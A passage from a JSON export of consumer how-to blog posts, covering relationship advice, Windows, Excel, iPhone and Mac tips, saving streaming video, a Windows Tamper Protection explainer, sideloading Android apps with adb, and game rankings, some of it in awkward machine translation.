has low self-esteem. [11] Your ex might be excited about your friendship one day, and hesitant the next. Always respect your ex's wishes, and be patient as the two of you get to know each other again.\n  Take your time. Move slowly, and be aware that you might have to leave your partner again. The most dangerous thing you can do is force the relationship to progress too quickly. If you move slowly, you and your ex will be able to evaluate your feelings at each step of the way, and you will avoid unnecessary disappointment. [12]\n  Do not have sex right away. Even though it is common to use sex to reconnect with an ex, having sex too soon can simply restart a problematic break-up/make-up relationship cycle. [13] If you want to create a lasting relationship instead of a fling with your ex, you will have to let things progress at a slow pace.\n  Be realistic in your expectations. Perhaps your ex has started dating somebody else, or perhaps your ex won't want any contact with you. Try to be generous and understanding as you start feeling out where the two of you are comfortable.\n Part 3of 5:\nProcessing the Breakup with Your Ex  Prepare for a hard conversation. In order for your friendship to grow into something more, you will have to address the elephant in the room: why you broke up, and how you can move past it. Consider keeping a journal or talking with a close friend about your feelings before you bring them up with your ex. [14]\n  Tell your ex you would like to schedule a serious talk. You do not want your ex to feel blindsided or tricked. Instead, be honest and direct. [15] Try to set something specific down in your schedules so that both of you will come prepared to talk about some hard topics. Some scripts include: \"I'm so glad that we are friends again, but I think it might be a good idea for us to revisit what exactly went wrong in our romantic relationship. Do you think we could talk about that sometime next week?\" \"I've been thinking a lot about why it is we broke up in the first place. Is that something you've been thinking about too? Perhaps we should schedule a time to discuss it. How is this Thursday looking for you?\"   Have a conversation about why the relationship ended. Find a neutral location without a lot of noise or distractions, so that the two of you can hash out what needs to be hashed out. [16] Try not to get angry or overly upset, even if you begin talking about upsetting things. Also be sure that you are not accusing or blaming your ex for your relationship troubles. [17]\n  Use active listening techniques to hear your ex's concerns and feelings. Because your ex is the one who was dumped, your ex might have a lot to get off his or her chest. Listen carefully to what your ex has to say, even if it is painful for you. [18] These include using \"I\" statements, trying to restate your ex's words in your own language, and avoiding accusatory statements or patronizing tones. [19] Make sure that you listen to your ex in a cooperative way, not in an adversarial way. You want to prevent this conversation from becoming an argument. Remember that this conversation is a positive thing and an opportunity for growth. [20]   Apologize for the part you played in the breakup. In order for the two of you to get back together, you will need to apologize for the role you played in ending the relationship and for any hurts you caused. Be sincere, and be honest about how you can demonstrate that your ex can trust you again. Apologies take four steps [21] State clearly that you are remorseful for what happened. Take responsibility for your actions. Find a way to make it up to your ex. Promise that you will change, and then keep that promise.  Part 4of 5:\nRe-introducing Romance into the Relationship  Tell your ex that you want to get back together. Explain that you are hoping that your breakup--as painful as it was--is the starting point of something new and deeper.[22] State clearly and directly that you are hoping that the two of you might get back together. Some scripts include: \"I have loved getting to know you again through our friendship, and I'm glad that we talked about what went wrong when we were dating. I think that the two of us might be ready to get back together. What do you think?\" \"I really value this friendship we've developed, and it makes me hopeful that the two of us might be able to be more than friends. Do you feel the same way?\" \"I really care about you, and, if you were up for it, I would like us to begin dating again. I know that we have had our share of hardships, but I think that they have made us stronger.\"   Tell your ex how you have grown since the breakup. While breakups are emotionally draining, they can sometimes help people learn about themselves and grow into better people. [23] Show your ex that you are not the same person who dumped him or her, and explain how you have become a better, more mature partner.\n  Use positive actions to show how you've changed. Because your ex might be skeptical, it is important to back up your words with positive actions. Be sure that you are constantly working to improve the mistakes of your past. [24] For example, if your ex is concerned that you do not communicate well, study up on communication techniques. Or if your ex is worried about how emotionally available you are, make time to support your ex when he or she is going through a difficult time. Your ex might be especially worried that you might dump him or her again. [25] Be patient with your ex's (understandable) anxiety. While you cannot guarantee what the future holds, you can guarantee that you will work and try your hardest to deepen the relationship and support your partner.   Don't set your expectations too high. Even if you have done everything right, it is possible that your ex will not want to reunite with you romantically. Or perhaps your ex will need time to think before making any decisions. But no matter what, you should be proud of all the work that you put into improving yourself and your friendship with your ex. Your hard work will pay you dividends in the long run, even if you did not win your ex back successfully.\n Part 5of 5:\nMaking Sure the Relationship Lasts  Tell yourself that this new relationship is different from the old one. For the long-term success of a rekindled relationship, it is important that you remember that you are trying to set a new path for your romance. Try to envision your reunion with your ex as a new relationship, not just a re-hashing of the old, unsuccessful relationship. Remember that you are getting back together with an old love, but you are doing so in a new, more mature way. [26] Your goal is not to repeat the mistakes of the past, so do not dwell on the past: instead learn from it and move on.\n  Create a plan for how the relationship will continue to grow into the future. Rekindled relationships are more likely to succeed if there are clear expectations for how the relationship will grow and develop. Similarly, there need to be clear expectations about how both parties will remedy some of the mistakes that led to the initial break up. [27] Set goals and check-ins to make sure the relationship is progressing as it should, and that you are not falling back into old patterns.\n  Date for a while before making any serious commitments. While it might be tempting to put the relationship into overdrive and make a permanent commitment immediately, remember that the best way to avoid a toxic cycle is to be slow and mindful as your new relationship progresses.[28] Do not do anything permanent such as proposing or moving in together until your rekindled relationship has stabilized and is on a positive path. Instead, try low-key ways to reconnect romantically, such as go on romantic dates, go away for a romantic weekend, or cook your ex a nice meal.\n  Don't use the breakup as ammunition during arguments. Because the two of you were exes in the not-too-distant past, there might be old hurts to blame each other for or old wounds to re-open. Resist the temptation to fling any of these resentments at your (now former) ex, even during times of stress or turmoil. [29] Arguments are healthy: constantly bringing up old, resolved issues are not.\n  Use loving rituals to express how much you care. People who reunite after a breakup can sometimes feel less secure in their relationships, even if it is going well.[30] Find external, tangible ways to show your former ex that you care and that you are not just going to dump him or her again. [31] These rituals can include: Going for a weekly date. Giving a nice gift. Verbally affirming your love and devotion. Expressing your appreciation when your partner does something kind or helpful. Participating in your partner's hobbies and causes.   Jessica Tanner Update 07 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqjrcKkZJqmXZrFbsDHmqtmsZ%2BqeqXBzKmcnQ%3D%3D\n","link":"/post/how-to-get-back-an-ex-that-you-dumped/","section":"post","tags":null,"title":"How to Get Back an Ex That You Dumped"},{"body":"In Windows 11, when you link a personal Microsoft account to your PC system, the operating system's built-in Photos app automatically displays photos from your respective OneDrive storage. This sometimes affects privacy.\nFortunately, Windows 11 supports an option that allows you to hide all the photos from this OneDrive in the built-in Photos app. How to do it is not complicated at all.\nHow to set up Photos app not to display OneDrive images on Windows 11 First, open the Photos app on your Windows 11 PC. Do this by opening the Start menu, searching for the keyword 'Photos' and clicking on the corresponding app in the returned search results.\n  In the Photos application interface that opens, in the top right corner, click the three dots to open the system menu.\n  From the menu that appears, select 'Settings'.\n  Next on the Settings screen, you go down to the 'Microsoft OneDrive' section. Here, tap the switch to the left of the 'Show My Cloud-Only Content From OneDrive' option to set it to 'Off'.\n  (Note: In the future, if you change your mind and want to show your OneDrive pictures again in the Photos app, just re-enable this option.) That's it, the Photos app will no longer display any pictures from your OneDrive storage. The privacy of your personal photos is now somewhat guaranteed.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuvMeoq6irXZu%2FsLmMqKWenKKew6Z5yKdkraCVYr2pu9OoqmaZoKV6sLqMsKCnnJ%2BswG59kA%3D%3D\n","link":"/post/how-to-hide-photos-from-onedrive-in-the-photos-app-on-windows-11/","section":"post","tags":null,"title":"How to hide photos from OneDrive in the Photos app on Windows 11"},{"body":"Fixed Excel box, fixed row, fixed Excel column when scrolling mouse makes it easy to track and manipulate data sheet. In addition, you can split the Excel view area to edit on individual Excel areas.\nVideo tutorial fixed column, Excel row Keep fixed Excel columns, fixed Excel rows Step 1 : Determine the rows, columns or Excel cells that you want to keep fixed\nThese boxes will always be displayed on the screen while you move the scroll bar on the spreadsheet. It will be useful if you want the row or column title to always be displayed on the worksheet. But you can only fix all rows or all columns at the same time.\n  Step 2 : Click the View menu, select Freeze Panes \u0026gt; Freeze Top Row (in case you want to fix the top row )\n  Step 3 : If you want to permanently add the first column, select Freeze First Column\n  Step 4 : To cancel the fixed boxes, just click Unfreeze Panes and you 're done\n  Split multiple views Split the viewing area to help you scroll the mouse wheel to see each part individually. It is very useful for large spreadsheets that you need to operate on multiple areas at once.\nBefore you can place the mouse pointer under the fixed row then click on the Split tool in the View menu. Immediately the screen will split into two parts, you can operate independently on both parts.\n  To return to the original state, just click the Split icon again.\nMS Excel - Lesson 4: Working with lines, columns, sheets How to temporarily hide rows and columns in Excel 2013 Change color between different lines in Microsoft Excel Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOVmr1usdecnKVlkaOxbrHXnJylZZOkuba5zaxkn6GomrE%3D\n","link":"/post/how-to-keep-excel-and-excel-columns-fixed/","section":"post","tags":null,"title":"How to keep Excel and Excel columns fixed?"},{"body":"Since iOS 11 launched in 2017, Apple has allowed users to easily record their screenshots while using the iPhone. This feature is really useful, helping you to save interesting moments, or create instructional clips for friends and relatives.\nHow to record iPhone screen video To set up the iPhone screen recording function, go to Settings =\u0026gt; Control Center =\u0026gt; Customize Controls (Settings =\u0026gt; Control Center =\u0026gt; Customize Controls). Then, navigate to the Screen Recording line and press the '+' to put this feature in the list above.\n  To set up the iPhone screen recording function, go to Settings =\u0026gt; Control Center =\u0026gt; Customize Controls. Then, navigate to Screen Recording and press the '+' to put this feature in the list above. (Photo source: hoanghamobile.com)\nNow when you swipe up Control Center, you can click on the Screen Record button. The feature will countdown 3 - 2 - 1, and your screen will be recorded.\n  Now when you swipe up Control Center, you can click on the Screen Record button. The feature will countdown 3 - 2 - 1, and your screen will be recorded.\nTo stop recording, with iPhone 8 Plus or lower, you swipe up and press the Screen Record button again. For iPhone X and later, press the time in the left corner. When a message pops up asking if you want to stop recording, select Stop on the right hand side.\nTo view the recorded video again, you can go to the Photos app.\n  For iPhone X and later, press the time in the left corner. When a message pops up asking if you want to stop recording, select Stop on the right hand side.\nHow to record a famous iPhone screen After a period of use, some iPhone users have a problem with the inbuilt screen recording tool not seeing the sound. In fact, this tool also has a voice recording function, but is off by default and the user does not know where to turn it on.\nAfter turning on the iOS 11 screen recording tool as instructed above, there will be a screen recording button in Control Center. But instead of pressing the screen recording as usual, to have the option to turn on the sound recording, we press and hold that button for a while, then press the mic icon to turn on the recording. Finally, please press \"Screen Record\".\n  Instead of pressing the screen recording as usual, to have the option to turn on the sound recording, we press and hold the button for a while, then press the mic icon to turn on the recording. Finally, please press \"Screen Record\".\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyip6Gnnpp6tK%2FRnpynZaaesaa7jKGmsGWkpHqzscKoqZ1lmaW1sLrEZqqcqpWau27DyK2fZqufqrul\n","link":"/post/how-to-record-iphone-screen-video-how-to-record-iphone-screen-with-sound/","section":"post","tags":null,"title":"How to record iPhone screen video, How to record iPhone screen with sound"},{"body":" This wikiHow teaches you how to record live streaming video content using OBS Studio or how to extract and save non-live video streams using services such as KeepVid.com and Savefrom.net. Recording or saving video content that you do not...\nMethod 1of 3:\nRecording Live Streams with OBS Studio  Go to the OBS Project website. Use the link or type \"obsproject.com\" in a web browser's search bar.\n  Click on Download then scroll down and click on the operating system you're using. Follow the on-screen prompts to install the software. OBS Studio works with Windows 7 or higher, Mac OS 10.9 or higher, or Linux.   Open the OBS app. It's a round, white app icon that contains three comma shapes. If prompted to review the license agreement, click on OK. The first time you run the app, you'll be asked if you want to run the Auto-Configuration Wizard. Click on Yes if you'd like OBS to guide you through the set-up.   Open the video stream you'd like to save.\n  Click on +. It's at the bottom of the OBS window, beneath the pane labeled \"Sources.\"\n  Click on Window Capture. It's near the bottom of the pop-up menu.\n  Enter a title for the video stream you're capturing. The \"Create new\" radio button, at the top of the dialog box, should be selected.   Click on OK.\n  Click on the drop-down menu near the center of the dialog box.\n  Click on the window that contains the streaming video you want to save. If you don't want the pointer displayed in your screen capture, uncheck \"Show Cursor.\"   Click on OK.\n  Start the video stream, if you haven't already. The stream should be enlarged to take up as much of the window as possible.   Click on Start Recording. It's in the lower-right corner of the OBS window.\n  Click on Stop Recording when you're finished. The video stream has been saved to your computer. To view your recorded stream, click on File in the menu bar and click on Show Recordings.  Method 2of 3:\n  Go to a video streaming website. Use your web browser to go to a video streaming website, such as YouTube.com.\n  Search for a video. Type the title or description of a video into the search bar at the top of the browser window.\n  Click on a video to select it.\n  Copy the URL for the video. Do so by clicking in the search bar at the top of the browser, clicking on Edit in the menu bar, and clicking on Select All. Then click on Edit once again, and click on Copy.\n  Go to KeepVid.com. Type \"keepvid.com\" in the search bar at the top of the browser and tap ⏎ Return.\n  Click in the link field. It's at the top of the browser window.\n  Click on Edit in the menu bar at the top of the screen.\n  Click on Paste. Doing so inserts the YouTube link into the text field.\n  Click on Download. It's the blue button to the right of the link you entered.\n  Select a video quality. A list of available resolutions will be displayed, click on the video quality that works best for you. \"Pro\" quality videos require payment or subscription.   Click on the new browser tab or window. The video will begin downloading in a new browser tab or window. Once it's fully loaded, you can watch the video in your browser whenever you like, even without an Internet connection.\n Method 3of 3:\n  Go to a video streaming website. Use your web browser to go to a video streaming website, such as YouTube.com.\n  Search for a video. Type the title or description of a video into the search bar at the top of the browser window.\n  Click on a video to select it.\n  Copy the URL for the video. Do so by clicking in the search bar at the top of the browser, clicking on Edit in the menu bar, and clicking on Select All. Then click on Edit once again, and click on Copy.\n  Go to SaveFrom.net. Type \"savefrom.net\" in the search bar at the top of the browser and tap ⏎ Return.\n  Click in the link field. It's just below \"savefrom.net\" in the browser window.\n  Click on Edit in the menu bar at the top of the screen.\n  Click on Paste. Doing so inserts the YouTube link into the text field.\n  Click on \u0026gt;. It's the blue button to the right of the link you entered.\n  Click on download video in browser. It's in the lower-right corner of the window.\n  Select a video quality. Click the text to the right of the green \"Download\" button that appears below the link you entered. Doing so opens a menu of available video formats and qualities. Tap on a quality to select it.\n  Click on Download. Doing so opens a dialog box in which you can rename the file if you like.\n  Select a save location.\n  Click on Save. It's the blue button in the lower-right corner of the dialog box. The video has been downloaded to your computer for offline viewing.\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7Juv9OrnJqlmaO0bsLInZyo\n","link":"/post/how-to-save-streaming-video/","section":"post","tags":null,"title":"How to Save Streaming Video"},{"body":"You can manage a lot from the Finder. In the article below, TipsMake will guide you to use the Finder for the first time using a Mac.\nContent category How to Use Finder on Mac for Beginners\n1. How to open a Finder window 2. How to customize the Finder toolbar 3. How to use Quick Look 4. How to use the Info button 5. How to hide hard drives, external drives, CDs and connect to servers on the computer 6. Install new default window in Finder 7. How to use Tags 8. How to create custom Tags 9. Customize the Finder sidebar 10. How to use Stacks in Finder 11. How to use Gallery in Finder 12. How to view metadata files in Finder 13. How to use Quick Actions in Finder 1. How to open a Finder window There are several ways to open windows in Finder to access files in the system.\nOn the desktop (no need to choose an application or program), click File on the menu bar and choose New Finder Window .\n  In the Dock , click the Finder icon (smiley face) .\n  On the keyboard, press Command + N .\n2. How to customize the Finder toolbar By default, the Finder toolbar has a few buttons you can use to change the way you view and perform operations, but you can customize the toolbar to your liking.\nStep 1. Open a new Finder window .\nStep 2. Hold the Control key on the keyboard and then click or double-click on the toolbar.\n  Step 3. Select Customize Toolbar .\nStep 4. Click and drop other tools on the toolbar. Here are some tools you can choose from:\nQuick Look : The Quick Look button is a great tool for previewing documents or photos in Finder. Delete : Delete a file from Finder after selecting it. Connect : Connect to external server if you know the address. You can save a few of your favorite servers and switch between them using this button. Get Info : Select a file in the Finder and press this button to view its information. Step 5. Click Done when you finish customizing the toolbar to suit your preferences.\n  3. How to use Quick Look After adding Quick Look to the Finder toolbar, use the button to preview documents, photos or other files before use.\nStep 1. Open Finder window .\nStep 2. Find the file you want using the Quick Look tool and click once .\n  Step 3. Click the Quick Look button on the Finder toolbar . Or press the Space key on your keyboard to perform the same action with Quick Look.\n  4. How to use the Info button After you add the Info button to the Finder toolbar, you can use it to view the file's information.\nStep 1. Open a new Finder window .\nStep 2. Click on the file you want to get information about.\n  Step 3. Click the Info button .\n  5. How to hide hard drives, external drives, CDs and connect to servers on the computer Step 1. Go to Finder, click Finder on the menu bar and choose Preferences .\nStep 2. Click General .\n  Step 3. Check the boxes where you want the information to be displayed on the screen.\n  6. Install new default window in Finder Step 1. Go to Finder, choose Finder from the menu bar and click Preferences .\nStep 2. Select General .\nStep 3. In the drop-down menu, click folder or storage device.\nStep 4. If the item you want to select is not available, click Other .\n  7. How to use Tags Step 1. In Finder, click on Finder on the menu bar and choose Preferences .\nStep 2. Select Tags .\n  Step 3. Check the boxes next to the tabs you want to display in the Finder sidebar .\nStep 4. Drag your favorites to the bottom of the Tags tab for quick access in the Finder menu .\n  8. How to create custom Tags Step 1. In Finder, click on Finder on the menu bar and choose Preferences .\nStep 2. Click Tags .\nStep 3. Under the card list, press the '+' button .\nStep 4. Add a name to the tag.\n  Step 5. Click the circle next to the card to set the color.\n  9. Customize the Finder sidebar Step 1. In the Finder, choose Finder from the menu bar and then click Preferences .\nStep 2. Select Sidebar .\n  Step 3. Check the items you want to see in the Finder sidebar .\n  10. How to use Stacks in Finder Step 1. Click View on the menu bar when there is no application running on the device.\nStep 2. Click Use Stacks .\n  Step 3. Hold down the Control key and then click or click with two fingers on the computer.\nStep 4. Hover your mouse on Group Stacks By section . Choose between Kind , Date , Last Opened , Date Added , Date Modified , Date Created, and Tags .\n  11. How to use Gallery in Finder Step 1. Click the Finder icon in the Dock to open a new Finder window.\nStep 2. Go to the folder or section you want to view.\n  Step 3. Click the Gallery View button on the right side of the Finder window .\n  12. How to view metadata files in Finder Step 1. Click the Finder icon in the Dock to open a Finder window.\nStep 2. Select the view type.\n  Step 3. Select the file with the information you want to use.\nStep 4. Click View on the menu bar.\n  Step 5. Select Show Preview .\nStep 6 Click Show More on the Preview page to see related metadata.\n  13. How to use Quick Actions in Finder Step 1. Click the Finder icon in the Dock to open a new window.\nStep 2. Select the view type.\u0026nbsp;\nStep 3. Select one or more files you want to perform quick operation.\nStep 4. Click View on the menu bar if the View page is not displayed.\nStep 5. Select Show Preview .\nStep 6. Select one of the operations available at the bottom of the page to perform on the selected files.\n  Step 7. Click More… to find more operation.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqntc2dnKtln6N6rq3CZp2oql2Xsqi1zaecq6s%3D\n","link":"/post/how-to-use-finder-on-mac-for-beginners/","section":"post","tags":null,"title":"How to use Finder on Mac for beginners"},{"body":"If you can't find your best headset, you may need to switch to Apple's temporary EarPods to listen to music. In this article, TipsMake.com will discuss with you what the pros and cons of this Apple headset.\nOverview of Apple's EarPods Probably the best aspect of Apple EarPods is that it comes free with any iPhone or iPod you buy.\nIn 2012, Apple modified the headset design, making them more comfortable and comfortable. Since removing the headphone jack from the iPhone, Apple has also released a Lightning-connected version of EarPods. EarPods were previously housed in a hard case to keep them safe, now replaced by a disposable cover. EarPods are also equipped with a remote control to adjust the volume, make phone calls, Siri, etc.\n EarPods comes free with any iPhone or iPod you buy EarPods are warranted according to Apple's standard warranty. If there is any problem from the manufacturer, Apple will exchange EarPods for free for you.\nSound quality of EarPods If you've been using EarPods for a while, you might be surprised to find that the sound quality on them is much better than before. Old Apple headphones have a pretty terrible sound quality. But Apple changed the drivers in the redesign in 2012, bringing major improvements. The overall tone compared to the old EarPods is also really remarkable.\n The sound quality on EarPods is much better than before Unfortunately, EarPods do not use any passive soundproofing features. There are no silicon ear tips to hold the bud in the ear, as with the AirPods Pro.\nSound from EarPods is also leaking out. Anyone nearby will hear the noise coming from the EarPods when you listen to music. Therefore, they are not ideal when in the library and other quiet environments.\nDespite such design flaws, EarPods still maintain their style when listening to many different genres of music.\nDesign and convenience of EarPods Apple designed the EarPods to be uncomfortable in the ear but not uncomfortable. However, if you've ever used soundproof silicon headsets, you'll find they tend to lack the fit you like.\n The appearance of the new EarPods is also much improved compared to the previous design Like the sound quality, the appearance of these new EarPods is also much improved from the previous design.\nA problem with the design is that EarPods are slippery and twisted in the ear, negatively affecting sound quality. They also often fall off when you move too much.\nEarPods are especially bad at running, cycling and doing other vigorous activities.\nDurability and quality of EarPods Old Apple headphones are known to be of poor quality. They are quite fragile and the materials are used uncertain. The cable connection points to the headset are also very loose. To minimize damage, properly store as in a third-party container.\n EarPods are quite fragile If your EarPods are broken, Apple will guarantee them under the same AppleCare warranty as everything else. But the warranty applies only to manufacturer's faults, not accidental damage.\nAre EarPods worth it? If it's free, EarPods aren't bad. But if you think about the $ 29 you need to buy a new pair of headphones, there are better alternatives.\nLook for some cheap headphones that use silicone tips for better soundproofing. Just make sure you can use them with your iPhone if you have a new model, without a headphone jack.\nIf you want to spend a little extra on high quality headphones, check out the list of best headphones available. They cost more than EarPods, but you get better sound quality.\nncG1vNJzZmismaXArq3KnmWcp51ktrR5wKmnpZ2jYrKivs%2Bom6xlopqurbjYZquhmaRir6Kw\n","link":"/post/is-apple-s-earpods-really-that-bad/","section":"post","tags":null,"title":"Is Apple's EarPods really that bad?"},{"body":"Microsoft has announced that the Windows 10 Tamper Protection security feature is now officially available to businesses and individual users. Along with this notice, Microsoft will turn on this security feature on all Windows 10 devices by default.\nTamper Protection is a security feature introduced in Windows 10 version 1903, also known as May 2019 Update (May 2019 update). When enabled, Tamper Protection prevents the installation of Windows Security and Windows Defender from being altered by Windows command-line programs, tools, Registry changes, or group policies.\nInstead, users must modify their security settings directly through the Windows 10 user interface or through Microsoft's enterprise management software like Intune.\nIf Tamper Protection is not currently enabled on your Windows 10 device, the good news is that Microsoft says it will implement this change for all Windows 10 users. However, it may take a few days before it gets available. Turn on automatically for everyone.\nIf you don't want to wait, you can enable it now, by following the instructions in this article: How to turn on Tamper Protection for Windows Security on Windows 10 from TipsMake.com.\nTamper Protection is an important tool to prevent security breaches With Windows Defender becoming a reliable antivirus solution and further enhanced security enhancements added to Windows 10, malware is increasingly struggling to overcome them.\nThis is done by trying to turn off or impair the functionality of Windows Defender through PowerShell commands, group policies, or modify the Registry.\nFor example, over the past 4 months, we have seen TrickBot, GootKit and Nodersok Trojans make a concerted effort to defeat Windows Defender, to gain the right to stay on the infected computer or to bypass protections.\n  However, when Tamper Protection is turned on, these attempts to change Windows Defender or Windows Security settings will be ignored or simply reset.\nBecause Windows Defender automatically turns on when third-party antivirus software is removed, it is even more important to have Tamper Protection turned on so that Windows Defender can fully protect you.\nIndividual users use Windows Security settings For consumers, Tamper Protection is set in the Virus \u0026amp; Threat Protection settings of Windows Security.\nTo access this section, you'll open the Windows 10 installation, click on Windows Security , then Virus \u0026amp; Threat Protection , then select Manage Settings under Virus and Threat protection settings .\nScroll down and you will see an option titled Tamper Protection as shown in the image below.\n  Enterprises use Intune to manage Tamper Protection Although enterprise workstations can enable Tamper Protection using the same method as normal users, administrators can also manage it using Microsoft Intune management software.\nUsing Intune, an organization can enable Tamper protection for the entire system, by device type or even user groups as shown below.\n  When enabled via enterprise software, workstations will show that this setting is being managed by the admin.\n  To provide additional security for the management of Tamper Protection, each time the Tamper Protection settings change is made by Intune, the request is digitally signed.\nWhen a client receives this request, it will confirm that the signature is legal and if not, ignore the changes. You can see an illustration of how these signed requests are given by Intune below.\n  When an attacker, whether it's a malware or a local user, tries to forge the installation of Windows Security or Windows Defender, an alert will be sent to the Microsoft Defender Security Center. Administrators can then drill down into these alerts to see which machines are being targeted and take corrective actions.\n  With malware actively targeting Tamper Protection, this feature is not only important, but is also required to be enabled to provide comprehensive protection for Windows 10 users.\nAll users, whether individual or business users, need to make sure Tamper Protection is enabled.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMCmp56qXaW%2FsMDEnKuip55iwamxjKecsGWjmrC2vsitsGaelZbBtr7EZqanZaeeu6W71qxkamg%3D\n","link":"/post/learn-about-tamper-protection-the-new-security-feature-on-windows-10/","section":"post","tags":null,"title":"Learn about Tamper Protection, the new security feature on Windows 10"},{"body":"Although it is only a Preview version, it also brings a great deal of excitement to loyal fans of the Windows operating system.\nHowever, the fact that there are currently only more than 50 applications available in the Amazon Appstore does not seem to be able to meet the needs of all users. However, the fact that Windows 11 provides Windows Subsystem for Android is considered as a \"way\" for users to install (or understand as Sideload) the Android applications they need from the original APK file without having to use the original APK file. through the Amazon Appstore. So exactly how to exploit this path? Please refer to the following instructions.\nNote: Currently only a Preview version, so Android applications Sideloaded from the original APK file will work unstable, readers need to consider before trying. This article will not reiterate the conditions for being able to install the Amazon Appstore.\nHow to directly install Android apps from APK files on Windows 11   Step 1: Visit this address to install Windows Subsystem for Android orAmazon Appstore if you haven't installed it yet.\n  Step 2: Start Windows Subsystem for Android from the Start Menu, then switch to ON in the Developer mode option.\n  Step 3: Visit this address and download the latest version of SDK Platform Tools from Google.\n  Proceed to decompress the packet after downloading\n  Step 4: After decompressing the package, open the folder, type \"cmd\" in the address bar and press the ENTER key.\n  The Command Prompt dialog box will appear, please keep it and go to the next step.\n  Step 5: Open a web browser and visit APKMirror page, find the application you need and download its APK file.\n  Move the APK file to the same folder as the SDK Platform Tools that you downloaded and uncompressed above.\n  Step 6: Back to the Windows Subsystem for Android screen, note down the address that Developer mode provides. As shown, it has the form \"127.0.0.1:58526\".\n  Switch to the Command Prompt window, enter the syntax \"adb.exe connect_IP_address\", with \"IP_address\" will be \"127.0.0.1:58526\". So we will have the complete command as shown, then press the ENTER key to execute.\n  Step 7: Now to start Sideloading the APK file of the downloaded application, enter the command \"adb.exe install_name_and_format_APK\". With \"APK_name and_format\" being the name and format of the APK file you downloaded in Step 5.\n  Wait a few seconds for Windows to install the application from your APK file. When it's done, you'll see it appear in the Start Menu, and you can launch it to use as a normal Android app.\nVery simple, right?\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmbazscKto7JlmaPAta3LpWSappSnvKqwjJqnqatdm7%2BwuYyap6Rllp65pr%2BMqKVmr5mjsbDD0mZoag%3D%3D\n","link":"/post/steps-to-directly-install-android-apps-from-apk-files-on-windows-11/","section":"post","tags":null,"title":"Steps to directly install Android apps from APK files on Windows 11"},{"body":"When forming a team there are many factors that players need to consider, as heroes with good records in PvE are not as effective as expected to have an advantage over opponents in PvP. Therefore, it becomes even more important to classify heroes according to their performance in both modes.\n  The following list of the strongest hero ranks in MHA: The Strongest Hero will help players choose the best characters to train and fight in fierce battles.\nHierarchy Characters work differently in PvP and PvE modes. So if you want to have an advantage in battles, choose your heroes according to the mode you want to play.\nThis rank is ordered by ability in PvE and PvP, based on research into both the game and anime and manga. Each rank will show the outstanding ability and strength of the characters.\n  S+: The strongest character with great fighting skills and very difficult to defeat them. S: Strong character after S+ level, Can win in battles but not top priority in respective modes. A: Heroes can be active but not as strong as S+ and S. B: These characters are suitable for beginners but don't have much power to win battles. C: The weakest characters in the respective mode, with attacks that are predictable and easy to defeat in battle. List of character ranks MHA: The Strongest Hero PvP mode Grade S+  Character Type Super power Note   All Might U.S. teacher One for All Hero number 1  Shota Aizawa U.S. teacher Erasure Eliminate anyone with your eyes  Endeavor Super hero Hellflame The #1 hero after All Might's retirement  Hawks Super hero Fierce Wings Hero #2, working with villains to reveal their plans  Fumikage Tokoyami Pupil Dark Shadow Use Dark Shadow for flight and ranged attack   Best Jeanist Super hero Fiber Hero number 3   Level SHOULD  Character Type Super power Note  Tomura Shigaraki Antagonist Decay Leader of the League of Villains  Shoto Todoroki Pupil Half Hot Half Cold The son of the number 1 hero Endeavor  Izuku Midoriya (Deku) Pupil One for All All Might's successor. Has the most power but currently only 20% usable   Eijiro Kirishima Pupil Hardening \u0026nbsp;   Katsuki Bakugo Pupil Explosion \u0026nbsp;  Stain Antagonist Blood Frize Freeze anyone when they taste their blood, time depends on blood type   Grade A  Character Type Super power   Momo Yaoyorozu Pupil Creation   Ochaco Uraraka Pupil Gravity   Tenya Ida Pupil Engine   Tsuyu Asui Pupil Frog   Dabi Antagonist Flame   Level B  Character Type Super power   Denki Kaminari Pupil Electricity   Minoru Mineta Pupil Grapes   Mashirao Ojiro Pupil Tail   Himiko Toga Antagonist Duplicate   Mina Ashido Pupil Acid   Kyoka Jiro Pupil Earphones     PvE . mode Grade S+  Character Type Super power   All Might U.S. teacher One for All   Katsuki Bakugo Pupil Explosion   Endeavor Super hero Hellflame   Hawks Super hero Fierce Wings   Izuku Midoriya Pupil One for All   Shoto Todoroki Pupil Half Hot Half Cold   Level SHOULD  Character Type Super power   Tomura Shigaraki Antagonist Decay   Eijiro Kirishima Pupil Hardening   Fumikage Tokoyami Pupil Dark Shadow   Shota Aizawa Pupil Earase   Stain Antagonist Blood Frize   Grade A  Character Type Super power   Momo Yaoyorozu Pupil Creation   Ochaco Uraraka Pupil Gravity   Tenya Ida Pupil Engine   Denki Kaminari Pupil Electricity   Dabi Antagonist Flame   Level B  Character Type Super power   Tsuyu Asui Pupil Frog   Minoru Mineta Pupil Grapes   Mashirao Ojiro Pupil Tail   Himiko Toga Antagonist Duplicate   Mina Ashido Pupil Acid   Kyoka Jiro Pupil Earphones  ncG1vNJzZmismaXArq3KnmWcp51kurp5x56pqGWRmK6lscyimGasmJp6tMDRqKWgnaOpeqmx0ahknKCRp66kwMSrZKuZnqB6rbXSrQ%3D%3D\n","link":"/post/the-strongest-hero-character-rank-list/","section":"post","tags":null,"title":"The Strongest Hero Character Rank List"},{"body":"Invite you to follow the top 5 strategy games on the phone or smartphone below.\n1. Company of Heroes   Before setting foot on the mobile platform, Company of Heroes used to 'make headlines' on PC and on the world's prestigious game charts. Set in World War 2, the game takes players to join and control Western countries like the US, Germany or Japan and participate in famous battles like Pearl Harbor.\nPlayers must occupy bases including gasoline, bullets to use and upgrade their legions. In addition, Man Power stat increases when your unit is large and strong and it is used to buy more units in the game.\nCompany of Heroes download link for Android Company of Heroes download link for iOS 2. Iron Marines   If you've played the strategy game Star Craft on PC, you will notice that this game has a 'quite similar' gameplay and character. To win each level, the first thing you need is to collect resources as quickly as possible and use them to recruit soldiers. In addition, you can recruit heroes with special skills and can upgrade that skills to become better and more 'cool'.\nIron Marines download link for Android Iron Marines download link for iOS 3. Art of War 3   Art of War , also known as Art of War - is a game that exploits elements such as strategy, resource management, construction and defense. The game displays a fairly intuitive map, allowing you to observe and manage an ally or 